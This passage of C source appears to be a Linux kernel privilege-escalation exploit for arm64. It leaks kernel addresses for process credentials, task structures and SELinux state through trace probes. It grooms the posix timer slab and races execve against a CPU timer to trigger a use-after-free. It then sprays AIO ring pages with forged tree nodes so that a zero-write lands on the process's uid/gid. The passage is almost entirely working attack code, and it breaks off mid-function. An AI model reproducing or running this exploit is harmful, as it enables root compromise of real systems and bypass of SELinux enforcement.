	/* arm64 VA_BITS=39, 4K pages, sizeof(struct page)=0x40 from this
	 * exact Image BTF. Top-byte restore handles tagged kernel aliases.
	 */
	uint64_t canonical = (victim & UINT64_C(0x00ffffffffffffff)) |
		UINT64_C(0xff00000000000000);
	uint64_t slab_va = canonical & ~(uint64_t)(SLAB_BYTES - 1);
	if (slab_va < TARGET_PAGE_OFFSET ||
	    slab_va - TARGET_PAGE_OFFSET >= UINT64_C(0x1000000000)) {
		errno = ERANGE;
		return -1;
	}
	*slab_pointer = TARGET_VMEMMAP_START +
		((slab_va - TARGET_PAGE_OFFSET) >> 12) * 0x40;
	return kernel_pointer(*slab_pointer) ? 0 : -1;
}

static int make_private_cred_and_leak(uint64_t *cred_address)
{
	struct trace_probe probe;
	uint64_t previous_cred = 0;
	int result = -1;
	if (probe_setup(&probe, "__set_task_comm",
			"task=%x0:x64 cred=+0x900(%x0):x64", false)) {
		dprintf(STDERR_FILENO, "[cred] probe setup errno=%d (%s)\n",
			errno, strerror(errno));
		(void)probe_cleanup(&probe);
		return -1;
	}
	if (prctl(PR_SET_NAME, "pc98260-before", 0, 0, 0)) {
		dprintf(STDERR_FILENO,
			"[cred] initial prctl errno=%d (%s)\n",
			errno, strerror(errno));
		goto out;
	}
	if (probe_lookup(&probe, tid(), "cred", &previous_cred) ||
	    !kernel_pointer(previous_cred)) {
		dprintf(STDERR_FILENO, "[cred] initial cred leak failed\n");
		goto out;
	}
	if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0)) {
		dprintf(STDERR_FILENO,
			"[cred] ambient CLEAR_ALL errno=%d (%s)\n",
			errno, strerror(errno));
		goto out;
	}
	if (prctl(PR_SET_NAME, "pc98260-after", 0, 0, 0)) {
		dprintf(STDERR_FILENO, "[cred] final prctl errno=%d (%s)\n",
			errno, strerror(errno));
		goto out;
	}
	for (int i = 0; i < 50; i++) {
		if (!probe_lookup(&probe, tid(), "cred", cred_address) &&
		    *cred_address != previous_cred) {
			result = kernel_pointer(*cred_address) ? 0 : -1;
			break;
		}
		struct timespec pause = { .tv_nsec = 10000000 };
		nanosleep(&pause, NULL);
	}
	if (result)
		dprintf(STDERR_FILENO, "[cred] leak unavailable\n");
	else
		dprintf(STDERR_FILENO, "[cred] old cred=0x%" PRIx64
			" private cred=0x%" PRIx64
			" uid/gid target=0x%" PRIx64 "\n",
			previous_cred, *cred_address, *cred_address + 8);
out:
	if (probe_cleanup(&probe))
		return -1;
	return result;
}

static int leak_current_task_for_comm_test(uint64_t *task_address)
{
	struct trace_probe probe;
	int result = -1;
	if (probe_setup(&probe, "__set_task_comm", "task=%x0:x64", false)) {
		(void)probe_cleanup(&probe);
		return -1;
	}
	if (prctl(PR_SET_NAME, "pc98260-CHECKXY", 0, 0, 0))
		goto out;
	for (int i = 0; i < 50; i++) {
		if (!probe_lookup(&probe, tid(), "task", task_address) &&
		    kernel_pointer(*task_address)) {
			result = 0;
			break;
		}
		struct timespec pause = { .tv_nsec = 10000000 };
		nanosleep(&pause, NULL);
	}
out:
	if (probe_cleanup(&probe))
		return -1;
	if (!result)
		dprintf(STDERR_FILENO,
			"[comm-test] current task=0x%" PRIx64
			" comm+8 target=0x%" PRIx64 "\n",
			*task_address, *task_address + 0x918);
	return result;
}

static int read_enforce(void)
{
	char value[32];
	if (read_control("/sys/fs/selinux/enforce", value, sizeof(value)))
		return -1;
	if (value[0] == '0')
		return 0;
	if (value[0] == '1')
		return 1;
	errno = EPROTO;
	return -1;
}

static int sample_selinux_state(uint64_t *word, uint64_t *lockword,
				uint64_t *slide)
{
	struct trace_probe probe;
	uint64_t ip = 0;
	int result = -1;
	if (probe_setup(&probe, "__arm64_sys_getpid",
			"ip=%pc:x64 state=@selinux_state:x64 "
			"lockword=@avc_latest_notif_update.notif_lock:x64",
			false)) {
		dprintf(STDERR_FILENO, "[selinux] probe setup errno=%d (%s)\n",
			errno, strerror(errno));
		(void)probe_cleanup(&probe);
		return -1;
	}
	(void)syscall(SYS_getpid);
	for (int i = 0; i < 50; i++) {
		if (!probe_lookup(&probe, tid(), "state", word)) {
			result = 0;
			if (probe_lookup(&probe, tid(), "lockword", lockword))
				result = -1;
			(void)probe_lookup(&probe, tid(), "ip", &ip);
			break;
		}
		struct timespec pause = { .tv_nsec = 10000000 };
		nanosleep(&pause, NULL);
	}
	if (probe_cleanup(&probe))
		return -1;
	if (result)
		return -1;
	if (ip >= LINK_GETPID && ip - LINK_GETPID < UINT64_C(0x10000000000))
		*slide = ip - LINK_GETPID;
	dprintf(STDERR_FILENO,
		"[selinux] state first word=0x%" PRIx64
		" previous notif_lock/padding=0x%" PRIx64
		" enforcing=%u initialized=%u getpid_ip=0x%" PRIx64
		" slide=0x%" PRIx64 "\n",
		*word, *lockword, (unsigned int)(*word & 0xff),
		(unsigned int)((*word >> 8) & 0xff), ip, *slide);
	return 0;
}

static int locker(void *arg)
{
	int index = (int)(intptr_t)arg;
	int protection = PROT_NONE;
	unsigned long cycles = 0;
	int first_error = 0;
	restore_affinity();
	while (!atomic_load_explicit(&shared.go, memory_order_acquire)) {
		if (atomic_load_explicit(&shared.stop, memory_order_acquire))
			return 0;
		sched_yield();
	}
	atomic_fetch_add_explicit(&shared.lockers_started, 1,
				  memory_order_release);
	dprintf(STDERR_FILENO, "[locker %d] pid=%ld started\n", index, tid());
	while (!atomic_load_explicit(&shared.stop, memory_order_acquire)) {
		if (mprotect(shared.base, shared.length, protection) &&
		    !first_error) {
			first_error = errno;
			dprintf(STDERR_FILENO,
				"[locker %d] mprotect errno=%d (%s)\n",
				index, first_error, strerror(first_error));
		}
		protection = protection == PROT_NONE ? PROT_READ : PROT_NONE;
		cycles++;
	}
	dprintf(STDERR_FILENO, "[locker %d] stopped cycles=%lu\n",
		index, cycles);
	return 0;
}

static int killer(void *arg)
{
	int target_tid;
	int target_tgid;
	unsigned long polls = 0;
	long result;
	int saved_errno;
	(void)arg;
	restore_affinity();
	while (!(target_tid = atomic_load_explicit(&shared.exec_tid,
						    memory_order_acquire))) {
		if (atomic_load_explicit(&shared.stop, memory_order_acquire))
			return 0;
		sched_yield();
	}
	target_tgid = atomic_load_explicit(&shared.target_tgid,
						memory_order_acquire);
	dprintf(STDERR_FILENO, "[killer] pid=%ld tracking tgid=%d old_tid=%d\n",
		tid(), target_tgid, target_tid);
	for (;;) {
		result = syscall(SYS_tgkill, target_tgid, target_tid, 0);
		if (result < 0 && errno == ESRCH)
			break;
		polls++;
		if (atomic_load_explicit(&shared.stop, memory_order_acquire))
			return 0;
		sched_yield();
	}
	dprintf(STDERR_FILENO,
		"[killer] old TID disappeared after %lu probes (de_thread marker)\n",
		polls);
	result = syscall(SYS_tgkill, target_tgid, target_tgid, SIGKILL);
	saved_errno = result < 0 ? errno : 0;
	dprintf(STDERR_FILENO, "[killer] SIGKILL result=%ld errno=%d (%s)\n",
		result, saved_errno, strerror(saved_errno));
	atomic_store_explicit(&shared.stop, 1, memory_order_release);
	return 0;
}

static int spawn_helper(int (*function)(void *), void *argument,
			const char *name)
{
	void *stack = mmap(NULL, HELPER_STACK_SIZE, PROT_READ | PROT_WRITE,
			   MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
	int child;
	if (stack == MAP_FAILED) {
		dprintf(STDERR_FILENO, "[%s] stack mmap errno=%d (%s)\n",
			name, errno, strerror(errno));
		return -1;
	}
	child = clone(function, (char *)stack + HELPER_STACK_SIZE,
		      CLONE_VM | SIGCHLD, argument);
	if (child < 0) {
		dprintf(STDERR_FILENO, "[%s] clone errno=%d (%s)\n",
			name, errno, strerror(errno));
		munmap(stack, HELPER_STACK_SIZE);
		return -1;
	}
	dprintf(STDERR_FILENO, "[%s] helper pid=%d\n", name, child);
	return child;
}

static int prepare_vmas(unsigned int vmas)
{
	long page = sysconf(_SC_PAGESIZE);
	size_t length;
	void *base;
	int fd;
	unsigned int i;
	if (page <= 0 || (size_t)vmas > SIZE_MAX / (size_t)page)
		return -1;
	length = (size_t)vmas * (size_t)page;
	fd = (int)syscall(SYS_memfd_create, "timer-vmas", MFD_CLOEXEC);
	if (fd < 0 || ftruncate(fd, page)) {
		dprintf(STDERR_FILENO, "[vma] memfd/ftruncate errno=%d (%s)\n",
			errno, strerror(errno));
		if (fd >= 0)
			close(fd);
		return -1;
	}
	base = mmap(NULL, length, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS,
		    -1, 0);
	if (base == MAP_FAILED) {
		dprintf(STDERR_FILENO, "[vma] reservation errno=%d (%s)\n",
			errno, strerror(errno));
		close(fd);
		return -1;
	}
	for (i = 0; i < vmas; i++) {
		void *address = (char *)base + (size_t)i * (size_t)page;
		void *mapped = mmap(address, (size_t)page, PROT_READ,
				    MAP_SHARED | MAP_FIXED, fd, 0);
		if (mapped != address) {
			dprintf(STDERR_FILENO,
				"[vma] mapping %u/%u failed errno=%d (%s)\n",
				i, vmas, errno, strerror(errno));
			close(fd);
			munmap(base, length);
			return -1;
		}
	}
	close(fd);
	shared.base = base;
	shared.length = length;
	dprintf(STDERR_FILENO,
		"[vma] ready count=%u page=%ld virtual_bytes=%zu base=%p max_map_count=%ld\n",
		vmas, page, length, base,
		read_long_file("/proc/sys/vm/max_map_count"));
	return 0;
}

static void *exec_thread(void *arg)
{
	struct sigevent event;
	struct itimerspec timer_spec;
	timer_t timer_id;
	char *const argv[] = { (char *)"trigger", (char *)"--exec-probe", NULL };
	char *const envp[] = { NULL };
	int error;
	(void)arg;
	if (report_phase(1, (int)tid()) || gate_wait())
		_exit(118);
	memset(&event, 0, sizeof(event));
	event.sigev_notify = SIGEV_SIGNAL;
	event.sigev_signo = SIGRTMIN;
	memset(&timer_spec, 0, sizeof(timer_spec));
	timer_spec.it_value.tv_sec = 3600;
	if (timer_create(CLOCK_THREAD_CPUTIME_ID, &event, &timer_id)) {
		error = errno;
		dprintf(STDERR_FILENO,
			"[timer] create failed tid=%ld errno=%d (%s)\n",
			tid(), error, strerror(error));
		_exit(120);
	}
	dprintf(STDERR_FILENO, "[timer] create OK tid=%ld id=%p\n",
		tid(), (void *)timer_id);
	if (timer_settime(timer_id, 0, &timer_spec, NULL)) {
		error = errno;
		dprintf(STDERR_FILENO,
			"[timer] settime failed errno=%d (%s)\n",
			error, strerror(error));
		_exit(121);
	}
	dprintf(STDERR_FILENO, "[timer] settime OK target_cpu_seconds=3600\n");
	int thread_tid = (int)tid();
	if (report_phase(2, thread_tid) || gate_wait())
		_exit(118);
	restore_affinity();
	atomic_store_explicit(&shared.exec_tid, thread_tid, memory_order_release);
	atomic_store_explicit(&shared.go, 1, memory_order_release);
	while (atomic_load_explicit(&shared.lockers_started,
				    memory_order_acquire) < LOCKER_COUNT) {
		if (atomic_load_explicit(&shared.stop, memory_order_acquire))
			_exit(123);
		sched_yield();
	}
	dprintf(STDERR_FILENO, "[exec] non-leader tid=%ld execve begin\n", tid());
	execve("/proc/self/exe", argv, envp);
	error = errno;
	dprintf(STDERR_FILENO, "[exec] execve returned errno=%d (%s)\n",
		error, strerror(error));
	_exit(122);
}

static void run_target(unsigned int vmas)
{
	pthread_t thread;
	sigset_t signals;
	int error;
	memset(&shared, 0, sizeof(shared));
	atomic_store_explicit(&shared.target_tgid, (int)getpid(),
			      memory_order_release);
	dprintf(STDERR_FILENO, "[target] pid=%d starting\n", getpid());
	if (prepare_vmas(vmas))
		_exit(110);
	for (int i = 0; i < LOCKER_COUNT; i++) {
		if (spawn_helper(locker, (void *)(intptr_t)i, "locker") < 0) {
			atomic_store_explicit(&shared.stop, 1,
					      memory_order_release);
			_exit(111);
		}
	}
	if (spawn_helper(killer, NULL, "killer") < 0) {
		atomic_store_explicit(&shared.stop, 1, memory_order_release);
		_exit(112);
	}
	sigemptyset(&signals);
	sigaddset(&signals, SIGRTMIN);
	error = pthread_sigmask(SIG_BLOCK, &signals, NULL);
	if (error) {
		dprintf(STDERR_FILENO, "[target] sigmask error=%d (%s)\n",
			error, strerror(error));
		atomic_store_explicit(&shared.stop, 1, memory_order_release);
		_exit(113);
	}
	error = pthread_create(&thread, NULL, exec_thread, NULL);
	if (error) {
		dprintf(STDERR_FILENO, "[target] pthread_create error=%d (%s)\n",
			error, strerror(error));
		atomic_store_explicit(&shared.stop, 1, memory_order_release);
		_exit(114);
	}
	dprintf(STDERR_FILENO, "[target] exec thread created; leader waiting\n");
	for (;;)
		sched_yield();
}

struct target_handle {
	pid_t child;
	int report_fd;
	int control_fd;
	long exec_tid;
};

static int read_target_phase(struct target_handle *handle, int expected,
			     unsigned int attempt)
{
	struct pollfd descriptor = { .fd = handle->report_fd, .events = POLLIN };
	int message[2] = { 0, 0 };
	int ready;
	do {
		ready = poll(&descriptor, 1, 60000);
	} while (ready < 0 && errno == EINTR);
	if (ready != 1 || read(handle->report_fd, message, sizeof(message)) !=
					 (ssize_t)sizeof(message) ||
	    message[0] != expected) {
		dprintf(STDERR_FILENO,
			"[attempt %u] phase=%d unavailable result=%d errno=%d\n",
			attempt, expected, ready, errno);
		return -1;
	}
	handle->exec_tid = message[1];
	dprintf(STDERR_FILENO, "[attempt %u] child phase=%d tid=%ld\n",
		attempt, expected, handle->exec_tid);
	return 0;
}

static void abort_target(struct target_handle *handle)
{
	if (handle->control_fd >= 0) {
		(void)write(handle->control_fd, "X", 1);
		close(handle->control_fd);
		handle->control_fd = -1;
	}
	if (handle->report_fd >= 0) {
		close(handle->report_fd);
		handle->report_fd = -1;
	}
	if (handle->child > 0) {
		(void)waitpid(handle->child, NULL, 0);
		handle->child = -1;
	}
}

static int start_target_barrier(unsigned int number, unsigned int vmas,
				struct target_handle *handle)
{
	int report[2] = { -1, -1 }, control[2] = { -1, -1 };
	memset(handle, 0, sizeof(*handle));
	handle->child = -1;
	handle->report_fd = -1;
	handle->control_fd = -1;
	if (pipe2(report, O_CLOEXEC) || pipe2(control, O_CLOEXEC))
		goto fail;
	handle->child = fork();
	if (handle->child < 0)
		goto fail;
	if (!handle->child) {
		close(report[0]);
		close(control[1]);
		tid_pipe_write = report[1];
		target_control_read = control[0];
		run_target(vmas);
	}
	close(report[1]);
	close(control[0]);
	handle->report_fd = report[0];
	handle->control_fd = control[1];
	if (read_target_phase(handle, 1, number))
		goto fail_handle;
	return 0;
fail_handle:
	abort_target(handle);
	return -1;
fail:
	if (report[0] >= 0) close(report[0]);
	if (report[1] >= 0) close(report[1]);
	if (control[0] >= 0) close(control[0]);
	if (control[1] >= 0) close(control[1]);
	return -1;
}

static int allow_target_phase(struct target_handle *handle, int next,
			      unsigned int number)
{
	if (write(handle->control_fd, "G", 1) != 1)
		return -1;
	if (next)
		return read_target_phase(handle, next, number);
	close(handle->control_fd);
	handle->control_fd = -1;
	close(handle->report_fd);
	handle->report_fd = -1;
	return 0;
}

static int wait_target_zombie(unsigned int number,
			      struct target_handle *handle)
{
	siginfo_t info;
	for (int i = 0; i < 450; i++) {
		memset(&info, 0, sizeof(info));
		if (waitid(P_PID, (id_t)handle->child, &info,
			   WEXITED | WNOHANG | WNOWAIT)) {
			if (errno == EINTR)
				continue;
			break;
		}
		if (info.si_pid == handle->child) {
			dprintf(STDERR_FILENO,
				"[attempt %u] zombie pid=%d code=%d status=%d\n",
				number, info.si_pid, info.si_code,
				info.si_status);
			return 0;
		}
		struct timespec pause = { .tv_nsec = 100000000 };
		nanosleep(&pause, NULL);
	}
	dprintf(STDERR_FILENO, "[attempt %u] zombie wait failed errno=%d\n",
		number, errno);
	return -1;
}

static int probe_timer_address(struct trace_probe *probe, long owner_tid,
			       uint64_t previous, uint64_t *address)
{
	for (int tries = 0; tries < 100; tries++) {
		if (!probe_lookup(probe, owner_tid, "timer", address) &&
		    kernel_pointer(*address) && *address != previous)
			return 0;
		struct timespec pause = { .tv_nsec = 1000000 };
		nanosleep(&pause, NULL);
	}
	errno = ENOENT;
	return -1;
}

static int free_other_fillers(struct filler *fillers, unsigned int count);
static void delay_seconds(int seconds);

static int run_preflight(void)
{
	struct trace_probe probe;
	struct filler *fillers = calloc(filler_limit, sizeof(*fillers));
	struct sigevent event = { .sigev_notify = SIGEV_NONE };
	uint64_t previous = 0, complete_slab = 0;
	unsigned int before_active = 0, before_total = 0;
	unsigned int after_active = 0, after_total = 0;
	unsigned int count = 0, complete_count = 0;
	int result = -1;
	bool probe_active = false;
	if (!fillers)
		return -1;
	if (read_timer_slab_total(&before_active, &before_total)) {
		dprintf(STDERR_FILENO, "[preflight] slabinfo unavailable errno=%d\n",
			errno);
		goto out;
	}
	dprintf(STDERR_FILENO,
		"[preflight] before posix_timers_cache active=%u total=%u\n",
		before_active, before_total);
	if (probe_setup(&probe, "posix_cpu_timer_create", "timer=$arg1:x64",
			false)) {
		dprintf(STDERR_FILENO, "[preflight] probe errno=%d (%s)\n",
			errno, strerror(errno));
		(void)probe_cleanup(&probe);
		goto out;
	}
	probe_active = true;
	if (probe_add_rcu_free(&probe)) {
		dprintf(STDERR_FILENO,
			"[preflight] RCU probe errno=%d (%s)\n",
			errno, strerror(errno));
		goto out;
	}
	for (unsigned int i = 0; i < filler_limit; i++) {
		struct filler *item = &fillers[i];
		if (timer_create(CLOCK_THREAD_CPUTIME_ID, &event, &item->id)) {
			dprintf(STDERR_FILENO,
				"[preflight] timer #%u errno=%d (%s)\n",
				i, errno, strerror(errno));
			goto out;
		}
		item->live = true;
		count = i + 1;
		if (probe_timer_address(&probe, tid(), previous,
					&item->kernel_address)) {
			dprintf(STDERR_FILENO,
				"[preflight] pointer #%u unavailable\n", i);
			goto out;
		}
		previous = item->kernel_address;
		uint64_t slab = previous & ~(uint64_t)(SLAB_BYTES - 1);
		unsigned int slots = 0;
		for (unsigned int j = 0; j <= i; j++)
			if ((fillers[j].kernel_address &
			     ~(uint64_t)(SLAB_BYTES - 1)) == slab)
				slots++;
		if (slots == SLAB_OBJECTS) {
			complete_slab = slab;
			complete_count = slots;
			break;
		}
	}
	if (!complete_slab) {
		dprintf(STDERR_FILENO,
			"[preflight] no 32/32 owned slab within %u timers\n",
			count);
		goto out;
	}
	dprintf(STDERR_FILENO,
		"[preflight] complete slab=0x%" PRIx64
		" slots=%u/%u allocations=%u\n",
		complete_slab, complete_count, SLAB_OBJECTS, count);
	if (free_other_fillers(fillers, count))
		goto out;
	bool callback_found = false;
	for (int poll = 0; poll < 300; poll++) {
		unsigned int callbacks = 0;
		if (!probe_has_rcu_head(&probe,
					fillers[0].kernel_address + 0xf0,
					&callbacks, poll % 10 == 0)) {
			dprintf(STDERR_FILENO,
				"[preflight] RCU callback matched "
				"head=0x%" PRIx64 " count=%u\n",
				fillers[0].kernel_address + 0xf0,
				callbacks);
			callback_found = true;
			break;
		}
		struct timespec pause = { .tv_nsec = 100000000 };
		nanosleep(&pause, NULL);
	}
	if (!callback_found) {
		dprintf(STDERR_FILENO,
			"[preflight] RCU callback not observed\n");
		goto out;
	}
	delay_seconds(1);
	if (read_timer_slab_total(&after_active, &after_total))
		goto out;
	dprintf(STDERR_FILENO,
		"[preflight] after RCU active=%u total=%u delta_total=%d "
		"AIO=0 zombie=0 zero_write=0\n",
		after_active, after_total,
		(int)after_total - (int)before_total);
	if (probe_cleanup(&probe)) {
		probe_active = false;
		goto out;
	}
	probe_active = false;
	result = 0;
out:
	if (probe_active)
		(void)probe_cleanup(&probe);
	(void)free_other_fillers(fillers, count);
	free(fillers);
	return result;
}

static int create_one_filler(struct trace_probe *probe,
			     struct filler *fillers, unsigned int limit,
			     unsigned int *count, bool leak_address)
{
	struct sigevent event = { .sigev_notify = SIGEV_SIGNAL,
				  .sigev_signo = SIGRTMIN };
	struct filler *item;
	uint64_t previous = *count ? fillers[*count - 1].kernel_address : 0;
	if (*count >= limit) {
		errno = E2BIG;
		return -1;
	}
	item = &fillers[*count];
	if (timer_create(CLOCK_THREAD_CPUTIME_ID, &event, &item->id))
		return -1;
	item->live = true;
	(*count)++;
	if (leak_address &&
	    probe_timer_address(probe, tid(), previous,
				&item->kernel_address))
		return -1;
	return 0;
}

static int prefill_new_slab(struct trace_probe *probe,
			    struct filler *fillers, unsigned int limit,
			    unsigned int minimum_prefix,
			    unsigned int reserve_after,
			    unsigned int *count, unsigned int *target_first,
			    uint64_t *target_slab)
{
	unsigned int active, before_total, after_total;
	unsigned int run_first = 0, run_count = 0;
	uint64_t run_slab = 0;
	if (read_timer_slab_total(&active, &before_total))
		return -1;
	while (*count + reserve_after < limit) {
		if (create_one_filler(probe, fillers, limit, count, true))
			return -1;
		unsigned int index = *count - 1U;
		uint64_t address = fillers[index].kernel_address;
		uint64_t slab = address & ~(uint64_t)(SLAB_BYTES - 1);
		if (read_timer_slab_total(&active, &after_total))
			return -1;
		if (run_slab != slab) {
			if (run_count && run_count < SLAB_OBJECTS - 1U) {
				uint32_t unique = 0;
				for (unsigned int j = run_first; j < index; j++) {
					uint64_t old = fillers[j].kernel_address;
					unsigned int slot =
						(unsigned int)((old - run_slab) /
								KITIMER_BYTES);
					if (slot < SLAB_OBJECTS)
						unique |= UINT32_C(1) << slot;
					dprintf(STDERR_FILENO,
						"[slab] incomplete item index=%u "
						"address=0x%" PRIx64
						" slot=%u\n", j, old, slot);
				}
				dprintf(STDERR_FILENO,
					"[slab] group incomplete start=%u "
					"owned=%u unique_slots=%u/%u old=0x%" PRIx64
					" switch_index=%u addr=0x%" PRIx64
					" new=0x%" PRIx64 "\n",
					run_first, run_count,
					(unsigned int)__builtin_popcount(unique),
					SLAB_OBJECTS - 1U, run_slab,
					index, address, slab);
			}
			run_slab = slab;
			run_first = index;
			run_count = 0;
		}
		run_count++;
		if (after_total > before_total) {
			dprintf(STDERR_FILENO,
				"[slab] total grew %u->%u at index=%u "
				"addr=0x%" PRIx64 " run=%u/31\n",
				before_total, after_total, index,
				address, run_count);
			before_total = after_total;
		}
		if (run_count == SLAB_OBJECTS - 1U &&
		    run_first >= minimum_prefix) {
			*target_first = run_first;
			*target_slab = run_slab;
			break;
		}
	}
	if (!*target_slab) {
		dprintf(STDERR_FILENO,
			"[slab] no 31-slot candidate after %u allocations "
			"last_run=%u/31 base=0x%" PRIx64
			" prefix_min=%u reserve_after=%u\n",
			*count, run_count, run_slab,
			minimum_prefix, reserve_after);
		errno = ENOSPC;
		return -1;
	}
	for (unsigned int i = *target_first;
	     i < *target_first + SLAB_OBJECTS - 1U; i++) {
		uint64_t address = fillers[i].kernel_address;
		if ((address & ~(uint64_t)(SLAB_BYTES - 1)) !=
		    *target_slab || (address & (KITIMER_BYTES - 1))) {
			dprintf(STDERR_FILENO,
				"[slab] verification mismatch index=%u "
				"address=0x%" PRIx64 " slab=0x%" PRIx64
				" expected=0x%" PRIx64 "\n",
				i, address,
				address & ~(uint64_t)(SLAB_BYTES - 1),
				*target_slab);
			errno = EPROTO;
			return -1;
		}
		for (unsigned int j = *target_first; j < i; j++)
			if (fillers[j].kernel_address == address) {
				errno = EEXIST;
				return -1;
			}
	}
	dprintf(STDERR_FILENO,
		"[slab] prefilled 31/32 slots base=0x%" PRIx64
		" target_group=%u..%u held_prefix=%u\n",
		*target_slab, *target_first,
		*target_first + SLAB_OBJECTS - 2U, *target_first);
	return 0;
}

static int free_target_filler_range(struct filler *fillers,
				    unsigned int first,
				    unsigned int count)
{
	unsigned int released = 0;
	for (unsigned int i = first; i < first + count; i++) {
		if (!fillers[i].live)
			return -1;
		if (timer_delete(fillers[i].id)) {
			dprintf(STDERR_FILENO,
				"[slab] target timer_delete #%u errno=%d (%s)\n",
				i, errno, strerror(errno));
			return -1;
		}
		fillers[i].live = false;
		released++;
	}
	dprintf(STDERR_FILENO,
		"[slab] released target range first=%u count=%u; RCU pending\n",
		first, released);
	return released == count ? 0 : -1;
}

static int free_churn_fillers(struct filler *fillers,
			      unsigned int first, unsigned int count)
{
	unsigned int released = 0;
	for (unsigned int i = first; i < first + count; i++) {
		if (!fillers[i].live) {
			errno = EPROTO;
			return -1;
		}
		if (timer_delete(fillers[i].id)) {
			dprintf(STDERR_FILENO,
				"[slab] churn timer_delete #%u "
				"errno=%d (%s)\n",
				i, errno, strerror(errno));
			return -1;
		}
		fillers[i].live = false;
		released++;
	}
	dprintf(STDERR_FILENO,
		"[slab] released %u/%u post-target churn timers; "
		"prefix held, target sentinel held\n",
		released, count);
	return released == count ? 0 : -1;
}

static int free_other_fillers(struct filler *fillers, unsigned int count)
{
	int errors = 0;
	for (unsigned int i = 0; i < count; i++)
		if (fillers[i].live) {
			if (timer_delete(fillers[i].id)) {
				dprintf(STDERR_FILENO,
					"[slab] cleanup timer_delete #%u "
					"errno=%d (%s)\n",
					i, errno, strerror(errno));
				errors++;
			} else {
				fillers[i].live = false;
			}
		}
	dprintf(STDERR_FILENO,
		"[slab] cleanup %u timers delete_errors=%d\n",
		count, errors);
	return errors ? -1 : 0;
}

static void delay_seconds(int seconds)
{
	struct timespec pause = { .tv_sec = seconds, .tv_nsec = 0 };
	while (nanosleep(&pause, &pause) && errno == EINTR)
		;
}

static int pin_reclaim_cpu(int cpu)
{
	cpu_set_t one;
	if (cpu < 0 || cpu >= CPU_SETSIZE || !initial_affinity_valid ||
	    !CPU_ISSET(cpu, &initial_affinity)) {
		errno = EINVAL;
		return -1;
	}
	CPU_ZERO(&one);
	CPU_SET(cpu, &one);
	if (sched_setaffinity(0, sizeof(one), &one))
		return -1;
	dprintf(STDERR_FILENO,
		"[pcp] parent pinned release cpu=%d (allocator cpu=%d)\n",
		cpu, allocator_cpu);
	return 0;
}

static int prime_order0_pcp(unsigned int pages)
{
	size_t length = (size_t)pages * 4096U;
	volatile unsigned char *mapping = mmap(NULL, length,
						    PROT_READ | PROT_WRITE,
						    MAP_PRIVATE | MAP_ANONYMOUS,
						    -1, 0);
	if (mapping == MAP_FAILED)
		return -1;
	if (madvise((void *)mapping, length, MADV_NOHUGEPAGE)) {
		int saved = errno;
		(void)munmap((void *)mapping, length);
		errno = saved;
		return -1;
	}
	for (unsigned int i = 0; i < pages; i++)
		mapping[(size_t)i * 4096U] = (unsigned char)i;
	if (munmap((void *)mapping, length))
		return -1;
	dprintf(STDERR_FILENO,
		"[pcp] primed %u anonymous order-0 pages (%zu MiB)\n",
		pages, length >> 20);
	return 0;
}

struct prime_pool {
	unsigned char *base;
	unsigned int pages;
	unsigned int released;
};

static int prepare_prime_pool(struct prime_pool *pool, unsigned int pages)
{
	size_t length = (size_t)pages * 4096U;
	unsigned char *base = mmap(NULL, length, PROT_READ | PROT_WRITE,
				   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (base == MAP_FAILED)
		return -1;
	pool->base = base;
	pool->pages = pages;
	pool->released = 0;
	if (madvise(base, length, MADV_NOHUGEPAGE))
		return -1;
	for (unsigned int i = 0; i < pages; i++)
		base[(size_t)i * 4096U] = (unsigned char)i;
	dprintf(STDERR_FILENO,
		"[pcp] prepared %u held order-0 pages before CVE trigger\n",
		pages);
	return 0;
}

static void release_prime_pool(struct prime_pool *pool)
{
	if (pool->base && pool->released < pool->pages) {
		unsigned char *rest = pool->base +
			(size_t)pool->released * 4096U;
		(void)munmap(rest,
			(size_t)(pool->pages - pool->released) * 4096U);
	}
	memset(pool, 0, sizeof(*pool));
}

static int free_prefix_fillers(struct filler *fillers, unsigned int count)
{
	unsigned int released = 0;
	for (unsigned int i = 0; i < count; i++) {
		if (!fillers[i].live) {
			errno = EPROTO;
			return -1;
		}
		if (timer_delete(fillers[i].id)) {
			dprintf(STDERR_FILENO,
				"[pcp] prefix timer_delete #%u errno=%d (%s)\n",
				i, errno, strerror(errno));
			return -1;
		}
		fillers[i].live = false;
		released++;
	}
	dprintf(STDERR_FILENO,
		"[pcp] released %u/%u pre-target timers after free_slab\n",
		released, count);
	return released == count ? 0 : -1;
}

static int spray_aio_zero_nodes(aio_context_t *contexts,
				unsigned int maximum, uint64_t target,
				uint64_t victim, uint64_t required_folio,
				struct trace_probe *probe,
				unsigned int *count)
{
	unsigned int baseline = 0, match_index = UINT32_MAX;
	uint64_t last_folio = 0;
	bool io_setup_stopped = false;
	long owner_tid = tid();
	*count = 0;
	if (probe_aio_folios(probe, owner_tid, required_folio, 0,
			     &baseline, &match_index, &last_folio)) {
		dprintf(STDERR_FILENO,
			"[aio] initial folio trace scan failed errno=%d\n", errno);
		return -1;
	}
	dprintf(STDERR_FILENO,
		"[aio] folio oracle baseline=%u required=0x%" PRIx64
		" batch=%u limit=%u\n",
		baseline, required_folio, AIO_BATCH, maximum);
	for (unsigned int start = 0; start < maximum; start += AIO_BATCH) {
		unsigned int end = start + AIO_BATCH;
		if (end > maximum)
			end = maximum;
		for (unsigned int i = start; i < end; i++) {
			aio_context_t context = 0;
			uint32_t *ring;
			if (syscall(SYS_io_setup, 1, &context)) {
				dprintf(STDERR_FILENO,
					"[aio] io_setup stopped at %u errno=%d (%s)\n",
					i, errno, strerror(errno));
				io_setup_stopped = true;
				break;
			}
			contexts[i] = context;
			*count = i + 1;
			ring = (uint32_t *)(uintptr_t)context;
			if (ring[4] != UINT32_C(0xa10a10a1) ||
			    ring[1] > (4096U - 32U) / 32U) {
				dprintf(STDERR_FILENO,
					"[aio] unexpected ring #%u magic=%08x nr=%u\n",
					i, ring[4], ring[1]);
				return -1;
			}
			for (unsigned int slot = 0;
			     slot < 4096U / KITIMER_BYTES; slot++) {
				volatile uint64_t *node =
					(volatile uint64_t *)((char *)ring +
						(size_t)slot * KITIMER_BYTES +
						KITIMER_NODE);
				node[0] = 0;      /* rb_parent_color */
				node[1] = 0;      /* rb_right */
				node[2] = target; /* rb_left: zero-write destination */
			}
		}
		unsigned int seen = 0;
		if (probe_aio_folios(probe, owner_tid, required_folio,
				     baseline, &seen, &match_index,
				     &last_folio)) {
			dprintf(STDERR_FILENO,
